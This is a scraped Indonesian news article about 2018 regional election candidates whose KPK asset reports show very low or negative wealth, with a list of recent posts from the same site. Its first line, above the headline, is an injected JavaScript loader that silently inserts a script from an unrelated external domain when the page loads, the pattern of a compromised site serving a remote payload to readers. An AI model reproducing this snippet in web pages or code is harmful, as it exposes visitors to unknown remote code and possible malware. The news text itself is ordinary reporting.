(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Heboh, Calon Kepala Daerah Hartanya Minus Rp 115,1 Juta!


BANJARBARU, Laporan harta kekayaan para kandidat yang akan bertarung dalam Pilkada 2018 di sejumlah daerah layak untuk ditelusuri kebenarannya. Pasalnya, banyak kandidat yang Laporan Harta Kekayaan Penyelenggara Negara (LHKPN)-nya menimbulkan pertanyaan.

Betapa tidak, dari total 1.164 calon kepala daerah yang menyetor LHKPN ke KPK, ada 10 kandidat di antaranya yang melaporkan kekayaan kurang dari Rp 30 juta. Bahkan dua diantara kandidat punya kekayaan minus! Sedangkan untuk para kandidat yang bertarung dalam Pilkada Kabupaten di Kalimantan Selatan, rata-rata harta kekayaan mereka sudah di atas Rp 500 juta.

Dua calon kepala daerah yang memiliki kekayaan minus tersebut adalah Calon Bupati Murung Raya, Kalimantan Tengah, Syapuani dengan harta minus Rp 115.172.000, dan Calon Bupati Manggarai Timur, Sirajudin Paskalis dengan harta minus Rp 94,7 juta. (Baca: Ini Daftar Kekayaan Para Cabup/Cawabup di Empat Kabupaten di Kalsel).

Hal tersebut disampaikan KPK perihal pelaporan LHKPN kandidat yang akan bertarung dalam Pilkada tahun ini di berbagai daerah. “Kondisi itu (calon dengan harta kekayaan minus, red) biasanya ada utang. Kalau itu kejadian sebenarnya dan dia sudah jujur ya kita harus apresiasi,” kata Direktur Pendaftaran dan Pemeriksaan LHKPN KPK Cahya Hardianto Harefa di kantornya, Jalan Kuningan Persada, Jakarta Selatan, Rabu (24/1).

Meski demikian, KPK tetap akan melakukan verifikasi riil terhadap LHKPN semua calon kepala daerah itu. Cahya berharap bagi bakal calon kepala daerah untuk tidak terlilit utang saat kampanye hingga berpotensi melakukan korupsi saat menjabat nantinya.

“Tentunya tahap selanjutnya kami akan analisa lebih jauh. Tetapi yang terpenting sepanjang itu jujur memang kondisinya seperti itu yang kita hargai,” ucap Cahya dilansir detik.com.

“Yang penting nanti sudah jadi jangan sampai mau menutup utangnya dengan cara-cara tidak baik. Dalam masa kampanye ini pakai cara-cara pinjam sana sini, sehingga terlilit utang nggak bisa bayar kan repot,” sambungnya.

KPK telah menutup masa pelaporan pada 19 Januari 2018. Namun, hingga saat ini masih dilakukan proses verifikasi dan akan diumumkan secara lengkap usai penetapan pasangan calon oleh KPU tiap daerah pada 12 Februari 2018.

Sebenarnya, kekayaan di bawah Rp 30 juta ini mat jauh dari kebutuhan anggaran untuk mengongkosi Pilkada. Sebab, data dari Penelitian dan Pengembangan Kementerian Dalam Negeri, pegeluaran untuk bakal bupati/walikota dalam Pilkada berkisar Rp 20-30 miliar. Sedangkan untuk Pilgub bisa mencapai Rp 100 miliar.

Terkait kandidat dengan kekayaan dibawah Rp 30 juta tersebut, atau bahkan yang minus, Peneliti Lembanga Ilmu Pengetahuan Indonesia (LIPI) Syamsuddin Haris, menilai tidak masuk akal. Jika benar, hal tersebut bisa memiliki potensi negatif terhadap penyelenggaraan pemerintahan ke depannya.

Pertama, kaa Haris, bisa jadi kandidat tidak jujur dalam memberikan laporan kekayaannya. Kedua, bisa jadi ada potensi untuk menjadikan Pilkada untuk mencari pekerjaan. “Dan ketiga, mereka bisa jadi didukung pemilik modal yang berpotensi akan bekerja sama untuk menyalahgunakan APBD. Maka penyelenggara pemilu harus menelusuri kejujuran laporan itu,” katanya.

Selain dua kandidat di atas yang memiliki harta minus, delapan kandidat yang harta kekayaannya kurang dari Rp 30 juta adalah Calon Walikota Baubau, Nur Salim dengan harta Rp 5 juta, Calon Wakil Bupati Panilai, Markus Boma (Rp 10,8 juta), Calon Wakil Bupati Barito Timur, Habib Said Abdul Saleh (Rp 14,1 juta), Calon Wakil Bupati Langkat, Denny Nur Ilham (Rp 15,1 juta), Calon Wakil Bupati Kubu Raya, Martinus (Rp 22 juta), Calon Wakil Bupati  Biak Numfor, Justinus Wilhelmus (Rp 23,2 juta), Calon Bupati Deiyai, Keni Ikomou (Rp 26,2 juta), dan Calon Wakil Walikota Tual, Fadillah Rahawarin (Rp 29,6 juta).


Page: 1 2

Desy Arfianty

Recent Posts

Kunker DPRD Kapuas Perkaya Referensi Raperda Bangunan Gedung

KANALKALIMANTAN.COM, KUALA KAPUAS – Panitia Khusus (Pansus) I Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas… Read More

5 jam ago

Haul Dua Wali Allah di Cempaka yang Sangat Dermawan dan Hidup Sederhana

KANALKALIMANTAN.COM, BANJARBARU - Haul Syarifah Badrun Al Qadiri Al Hasani bin Sayyid Yusuf Al-Qadiri Al-Hasani… Read More

7 jam ago

Peringati Hari Buruh, PLN Tebar Kebaikan untuk Petugas Kebersihan Kebun Raya Banua

KANALKALIMANTAN.COM, BANJARBARU - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

8 jam ago

Jhonny Iskandar Meninggal Dunia, Ini Profil Pelantun “Bukan Pengemis Cinta”

KANALKALIMANTAN.COM - Penyanyi senior Jhonny Iskandar meninggal dunia hari ini, Jumat (10/5/2024). Eks personel Orkes… Read More

10 jam ago

TMMD di Desa Sungai Karias Bangun Ulang Rumah Tak Layak Huni

KANALKALIMANTAN.COM, AMUNTAI – Membangun ulang Rumah Tidak Layak Huni (RTLH) menjadi layak huni menjadi salah… Read More

11 jam ago

Lepas Atlet ke Popda Kalsel, Ini Kata Ketua DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Target juara umum kontingen Kota Banjarbaru dalam ajang Pekan Olahraga Pelajar Daerah… Read More

11 jam ago

This website uses cookies.